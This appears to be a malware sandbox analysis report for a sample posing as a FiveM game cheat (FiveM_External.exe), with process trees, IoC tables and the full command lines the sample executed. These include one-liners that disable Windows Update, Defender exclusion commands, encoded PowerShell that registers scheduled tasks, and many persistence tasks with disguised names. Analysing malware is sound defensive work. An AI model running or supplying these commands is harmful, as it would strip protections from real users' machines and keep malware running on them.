3760	reg.exe
4444	reg.exe
2628	reg.exe
568	reg.exe
5164	reg.exe
1304	reg.exe
4376	reg.exe
4532	reg.exe
5336	reg.exe
4884	reg.exe
2540	reg.exe
2860	reg.exe
4212	reg.exe
4692	reg.exe
1236	reg.exe
6084	reg.exe
1268	reg.exe
4996	reg.exe
5244	reg.exe
1452	reg.exe
5612	reg.exe
4324	reg.exe
4204	reg.exe
2416	reg.exe
5904	reg.exe
2284	reg.exe
1672	reg.exe
220	reg.exe
5600	reg.exe
840	reg.exe
5772	reg.exe
3164	reg.exe
4736	reg.exe
4996	reg.exe
1080	reg.exe
5712	reg.exe
840	reg.exe
4760	reg.exe
1148	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 27 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3836	schtasks.exe
3440	schtasks.exe
760	schtasks.exe
3352	schtasks.exe
1832	schtasks.exe
2624	schtasks.exe
3656	schtasks.exe
1944	schtasks.exe
4672	schtasks.exe
3596	schtasks.exe
4760	schtasks.exe
3324	schtasks.exe
1636	schtasks.exe
2308	schtasks.exe
3484	schtasks.exe
2840	schtasks.exe
3448	schtasks.exe
3884	schtasks.exe
3248	schtasks.exe
1740	schtasks.exe
4428	schtasks.exe
1252	schtasks.exe
3672	schtasks.exe
2056	schtasks.exe
2328	schtasks.exe
2528	schtasks.exe
3276	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2828	powershell.exe
2828	powershell.exe
1212	powershell.exe
1212	powershell.exe
1712	powershell.exe
1712	powershell.exe
1452	powershell.exe
1452	powershell.exe
4692	powershell.exe
4692	powershell.exe
3344	powershell.exe
3344	powershell.exe
2364	powershell.exe
2364	powershell.exe
3320	powershell.exe
3320	powershell.exe
744	powershell.exe
744	powershell.exe
4920	powershell.exe
4920	powershell.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2896	fv_fontreviewmonitordllrefsvc.exe
3320	powershell.exe
2828	powershell.exe
1212	powershell.exe
3344	powershell.exe
1712	powershell.exe
4920	powershell.exe
1452	powershell.exe
2364	powershell.exe
4692	powershell.exe
744	powershell.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe
5080	dwm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	fv_fontreviewmonitordllrefsvc.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	5080	dwm.exe
Token: SeDebugPrivilege	5352	dllhost.exe
Token: SeDebugPrivilege	5368	conhost.exe
Token: SeDebugPrivilege	5540	lsass.exe
Token: SeDebugPrivilege	5572	System.exe
Token: SeDebugPrivilege	5444	fv_fontreviewmonitordllrefsvc.exe
Token: SeDebugPrivilege	5532	backgroundTaskHost.exe
Token: SeDebugPrivilege	5460	RuntimeBroker.exe
Token: SeDebugPrivilege	5564	StartMenuExperienceHost.exe
Token: SeDebugPrivilege	6004	RuntimeBroker.exe
Token: SeDebugPrivilege	5904	powershell.exe
Token: SeShutdownPrivilege	868	powercfg.exe
Token: SeCreatePagefilePrivilege	868	powercfg.exe
Token: SeShutdownPrivilege	4004	powercfg.exe
Token: SeCreatePagefilePrivilege	4004	powercfg.exe
Token: SeShutdownPrivilege	3348	powercfg.exe
Token: SeCreatePagefilePrivilege	3348	powercfg.exe
Token: SeShutdownPrivilege	4824	powercfg.exe
Token: SeCreatePagefilePrivilege	4824	powercfg.exe
Token: SeIncreaseQuotaPrivilege	5904	powershell.exe
Token: SeSecurityPrivilege	5904	powershell.exe
Token: SeTakeOwnershipPrivilege	5904	powershell.exe
Token: SeLoadDriverPrivilege	5904	powershell.exe
Token: SeSystemProfilePrivilege	5904	powershell.exe
Token: SeSystemtimePrivilege	5904	powershell.exe
Token: SeProfSingleProcessPrivilege	5904	powershell.exe
Token: SeIncBasePriorityPrivilege	5904	powershell.exe
Token: SeCreatePagefilePrivilege	5904	powershell.exe
Token: SeBackupPrivilege	5904	powershell.exe
Token: SeRestorePrivilege	5904	powershell.exe
Token: SeShutdownPrivilege	5904	powershell.exe
Token: SeDebugPrivilege	5904	powershell.exe
Token: SeSystemEnvironmentPrivilege	5904	powershell.exe
Token: SeRemoteShutdownPrivilege	5904	powershell.exe
Token: SeUndockPrivilege	5904	powershell.exe
Token: SeManageVolumePrivilege	5904	powershell.exe
Token: 33	5904	powershell.exe
Token: 34	5904	powershell.exe
Token: 35	5904	powershell.exe
Token: 36	5904	powershell.exe
Token: SeIncreaseQuotaPrivilege	5904	powershell.exe
Token: SeSecurityPrivilege	5904	powershell.exe
Token: SeTakeOwnershipPrivilege	5904	powershell.exe
Token: SeLoadDriverPrivilege	5904	powershell.exe
Token: SeSystemProfilePrivilege	5904	powershell.exe
Token: SeSystemtimePrivilege	5904	powershell.exe
Token: SeProfSingleProcessPrivilege	5904	powershell.exe
Token: SeIncBasePriorityPrivilege	5904	powershell.exe
Token: SeCreatePagefilePrivilege	5904	powershell.exe
Token: SeBackupPrivilege	5904	powershell.exe
Token: SeRestorePrivilege	5904	powershell.exe
Token: SeShutdownPrivilege	5904	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1504	FiveM_External.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1504 wrote to memory of 1748	1504	FiveM_External.exe	89
PID 1504 wrote to memory of 2896	1504	FiveM_External.exe	90
PID 1504 wrote to memory of 2120	1504	FiveM_External.exe	91
PID 1748 wrote to memory of 3044	1748	conhost_fv.exe	93
PID 2896 wrote to memory of 1712	2896	fv_fontreviewmonitordllrefsvc.exe	123
PID 2896 wrote to memory of 744	2896	fv_fontreviewmonitordllrefsvc.exe	124
PID 2896 wrote to memory of 3320	2896	fv_fontreviewmonitordllrefsvc.exe	125
PID 2896 wrote to memory of 4920	2896	fv_fontreviewmonitordllrefsvc.exe	126
PID 2896 wrote to memory of 1452	2896	fv_fontreviewmonitordllrefsvc.exe	127
PID 2896 wrote to memory of 2828	2896	fv_fontreviewmonitordllrefsvc.exe	128
PID 2896 wrote to memory of 2364	2896	fv_fontreviewmonitordllrefsvc.exe	129
PID 2896 wrote to memory of 3344	2896	fv_fontreviewmonitordllrefsvc.exe	130
PID 2896 wrote to memory of 1212	2896	fv_fontreviewmonitordllrefsvc.exe	131
PID 2896 wrote to memory of 4692	2896	fv_fontreviewmonitordllrefsvc.exe	132
PID 2896 wrote to memory of 3672	2896	fv_fontreviewmonitordllrefsvc.exe	152
PID 3672 wrote to memory of 3048	3672	cmd.exe	154
PID 3672 wrote to memory of 6004	3672	cmd.exe	165
PID 1748 wrote to memory of 2464	1748	conhost_fv.exe	170
PID 1748 wrote to memory of 3688	1748	conhost_fv.exe	172
PID 1748 wrote to memory of 5904	1748	conhost_fv.exe	174
PID 2464 wrote to memory of 5916	2464	cmd.exe	176
PID 2464 wrote to memory of 5940	2464	cmd.exe	177
PID 3688 wrote to memory of 868	3688	cmd.exe	178
PID 2464 wrote to memory of 3304	2464	cmd.exe	179
PID 3688 wrote to memory of 4004	3688	cmd.exe	180
PID 2464 wrote to memory of 4556	2464	cmd.exe	181
PID 2464 wrote to memory of 5328	2464	cmd.exe	182
PID 3688 wrote to memory of 3348	3688	cmd.exe	183
PID 3688 wrote to memory of 4824	3688	cmd.exe	184
PID 2464 wrote to memory of 4760	2464	cmd.exe	185
PID 2464 wrote to memory of 3760	2464	cmd.exe	186
PID 2464 wrote to memory of 5648	2464	cmd.exe	187
PID 2464 wrote to memory of 3780	2464	cmd.exe	188
PID 2464 wrote to memory of 4056	2464	cmd.exe	189
PID 2464 wrote to memory of 5652	2464	cmd.exe	190
PID 2464 wrote to memory of 1880	2464	cmd.exe	191
PID 1748 wrote to memory of 2660	1748	conhost_fv.exe	192
PID 2660 wrote to memory of 840	2660	cmd.exe	194
PID 5252 wrote to memory of 2576	5252	updater.exe	196
PID 2464 wrote to memory of 4532	2464	cmd.exe	198
PID 2464 wrote to memory of 1900	2464	cmd.exe	199
PID 2464 wrote to memory of 5164	2464	cmd.exe	200
PID 2464 wrote to memory of 1268	2464	cmd.exe	201
PID 2464 wrote to memory of 1840	2464	cmd.exe	202
PID 2464 wrote to memory of 5000	2464	cmd.exe	203
PID 2464 wrote to memory of 4212	2464	cmd.exe	204
PID 2464 wrote to memory of 4228	2464	cmd.exe	205
PID 2464 wrote to memory of 2900	2464	cmd.exe	206
PID 2464 wrote to memory of 2264	2464	cmd.exe	207
PID 2464 wrote to memory of 2912	2464	cmd.exe	208
PID 5252 wrote to memory of 3500	5252	updater.exe	211
PID 5252 wrote to memory of 5256	5252	updater.exe	213
PID 5252 wrote to memory of 6120	5252	updater.exe	215
PID 3500 wrote to memory of 4200	3500	cmd.exe	217
PID 3500 wrote to memory of 5388	3500	cmd.exe	218
PID 5256 wrote to memory of 1876	5256	cmd.exe	219
PID 3500 wrote to memory of 5496	3500	cmd.exe	220
PID 5256 wrote to memory of 5352	5256	cmd.exe	221
PID 3500 wrote to memory of 3540	3500	cmd.exe	222
PID 5256 wrote to memory of 3716	5256	cmd.exe	223
PID 3500 wrote to memory of 3372	3500	cmd.exe	224
PID 5256 wrote to memory of 5020	5256	cmd.exe	225
PID 3500 wrote to memory of 4444	3500	cmd.exe	226
PID 3500 wrote to memory of 1304	3500	cmd.exe	227

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\FiveM_External.exe
"C:\Users\Admin\AppData\Local\Temp\FiveM_External.exe"
1⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1504
- C:\Users\Admin\AppData\Roaming\conhost_fv.exe
  "C:\Users\Admin\AppData\Roaming\conhost_fv.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3044
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2464
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:5916
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5940
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:3304
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:4556
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:5328
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
      4⤵
      Modifies registry key
      PID:4760
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
      4⤵
      Modifies registry key
      PID:3760
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
      4⤵
      Modifies security service
      Modifies registry key
      PID:5648
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
      4⤵
      PID:3780
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
      4⤵
      Modifies registry key
      PID:4056
  - - C:\Windows\system32\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5652
  - - C:\Windows\system32\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1880
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
      4⤵
      PID:4532
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
      4⤵
      Modifies registry key
      PID:1900
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
      4⤵
      Modifies registry key
      PID:5164
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
      4⤵
      Modifies registry key
      PID:1268
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
      4⤵
      PID:1840
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
      4⤵
      PID:5000
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
      4⤵
      PID:4212
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
      4⤵
      PID:4228
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
      4⤵
      PID:2900
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
      4⤵
      PID:2264
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      PID:2912
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:868
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:4004
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:3348
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:4824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5904
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "GoogleUpdateTaskMachineQC"
      4⤵
      PID:840
- C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe
  "C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\conhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\dllhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\lsass.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\System.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\dwm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4692
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\No8IXumXXG.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3672
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:3048
  - - C:\Recovery\WindowsRE\RuntimeBroker.exe
      "C:\Recovery\WindowsRE\RuntimeBroker.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:6004
- C:\Users\Admin\AppData\Local\Temp\karma_fivem.exe
  "C:\Users\Admin\AppData\Local\Temp\karma_fivem.exe"
  2⤵
  - Executes dropped EXE
  PID:2120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Windows\ShellExperiences\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\ShellExperiences\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\ShellExperiences\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fv_fontreviewmonitordllrefsvcf" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fv_fontreviewmonitordllrefsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fv_fontreviewmonitordllrefsvcf" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe'" /f
